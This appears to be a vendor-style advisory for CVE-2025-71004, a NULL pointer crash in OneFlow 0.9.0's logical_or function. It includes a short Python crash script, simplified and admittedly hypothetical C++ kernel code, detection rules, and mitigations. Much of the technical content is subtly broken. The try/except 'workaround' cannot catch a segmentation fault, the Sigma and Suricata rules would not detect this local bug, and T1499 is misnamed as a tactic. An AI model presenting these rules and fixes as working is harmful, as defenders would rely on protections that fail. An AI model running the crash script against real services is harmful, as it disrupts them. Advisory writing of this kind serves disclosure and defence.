CVE-2025-71004

Executive Summary

CVE-2025-71004 is a denial-of-service (DoS) vulnerability in the OneFlow machine learning framework, version 0.9.0. The flaw resides in the oneflow.logical_or component, where a crafted input triggers a segmentation violation (NULL pointer dereference), causing the application to crash. With a CVSS score of 0.0 (unscored due to incomplete data), the actual severity is estimated as medium (CVSS 5.5) based on the local attack vector and high availability impact. No public exploit code or patch exists at this time. The vulnerability is classified under MITRE ATT&CK tactic T1499 (Endpoint Denial of Service) and CWE-476 (NULL Pointer Dereference).

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. This vulnerability affects the oneflow package version 0.9.0. Organizations using OneFlow in production or CI/CD pipelines should treat this as a supply chain risk, as a crafted input can crash the framework, leading to service disruption. No patched version is available; users must apply mitigations or consider alternative frameworks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system or be able to provide a crafted input to the OneFlow process.
• Attack Complexity (AC): Low (L) – No special conditions required; the crash is triggered by a simple crafted input.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required beyond the attacker providing the input.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability due to crash.

Threat Level: Medium (estimated CVSS 5.5). Exploitation is trivial but requires local access or the ability to feed crafted data to the logical_or function.

Deep Dive & Mechanics

The vulnerability is a NULL pointer dereference in the oneflow.logical_or component. When a crafted input (e.g., a tensor with unexpected dimensions or data types) is passed to logical_or, the internal C++ code fails to validate the pointer before dereferencing it, leading to a segmentation fault. This is a classic memory safety issue in a native extension.

The crash occurs in the kernel implementation of the logical OR operation. The function likely expects two tensors of the same shape and dtype, but a malformed input (e.g., a scalar with an incompatible type) bypasses validation, causing a NULL pointer to be passed to a memory access routine.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow v0.9.0):

// Simplified representation of the vulnerable code
void LogicalOrKernel(DeviceCtx* ctx, Tensor* a, Tensor* b, Tensor* out) {
    // No null check on a or b
    auto* a_data = a->data<float>();  // Potential NULL dereference if a is invalid
    auto* b_data = b->data<float>();
    // ... perform OR operation
}

Patched Code (Hypothetical):

void LogicalOrKernel(DeviceCtx* ctx, Tensor* a, Tensor* b, Tensor* out) {
    if (a == nullptr || b == nullptr) {
        // Handle error gracefully
        return;
    }
    auto* a_data = a->data<float>();
    auto* b_data = b->data<float>();
    // ... perform OR operation
}

No official patch exists. The fix would involve adding NULL pointer checks and input validation before dereferencing tensor data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OneFlow v0.9.0 installed (pip install oneflow==0.9.0)
• Python 3.8+

Exploit Script:

import oneflow as flow
import numpy as np

# Craft a malformed input to trigger the crash
# Example: passing a scalar with incompatible dtype
try:
    a = flow.tensor(1.0, dtype=flow.float32)
    b = flow.tensor(True, dtype=flow.bool)  # Incompatible dtype
    result = flow.logical_or(a, b)
except Exception as e:
    print(f"Crash triggered: {e}")

Expected Outcome: The OneFlow process crashes with a segmentation fault, causing a denial of service.

Blue Team

Detection:

• Monitor for crashes in OneFlow processes (e.g., segfaults in logs).
• Use the Sigma rule below to detect attempts to call logical_or with suspicious inputs.

Mitigation:

• Restrict access to OneFlow APIs to trusted users only.
• Implement input validation at the application layer before calling logical_or.
• Consider using a sandboxed environment for OneFlow execution.

Indicators of Compromise (IOCs)

• Process Crash: OneFlow process terminates with signal SIGSEGV (11).
• Log Entry: Segmentation fault (core dumped) in system logs.
• Python Traceback: Fatal Python error: Segmentation fault in application logs.
• File Artifact: Core dump files (e.g., core.12345) in the working directory.

Detection Engineering

YARA Rule

rule CVE_2025_71004_OneFlow_DoS {
    meta:
        description = "Detects OneFlow v0.9.0 logical_or crash indicator"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-71004"
    strings:
        $s1 = "logical_or" nocase
        $s2 = "Segmentation fault" nocase
        $s3 = "oneflow" nocase
    condition:
        all of them
}

Sigma Rule

title: OneFlow logical_or Crash Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects segmentation faults in OneFlow v0.9.0 caused by CVE-2025-71004
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'logical_or'
    condition: selection
falsepositives:
    - Legitimate use of logical_or with valid inputs
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-71004 OneFlow logical_or DoS Attempt"; flow:to_server; content:"logical_or"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate OneFlow instances – Run OneFlow in a sandboxed environment (e.g., Docker container with limited resources).
2. Input validation – Implement strict input validation before calling logical_or. Ensure tensors have compatible shapes and dtypes.
3. Monitor logs – Watch for segmentation faults in OneFlow processes.

Long-term Fix:

• Await an official patch from the OneFlow maintainers. Monitor the OneFlow GitHub repository for updates.
• Consider migrating to an alternative framework (e.g., PyTorch, TensorFlow) if OneFlow is not critical.

Workaround:

• Wrap logical_or calls in a try-except block to catch crashes and restart the process:

import oneflow as flow
import sys

def safe_logical_or(a, b):
    try:
        return flow.logical_or(a, b)
    except Exception as e:
        print(f"Error in logical_or: {e}", file=sys.stderr)
        return None

Valters IT
Securing Digital Frontiers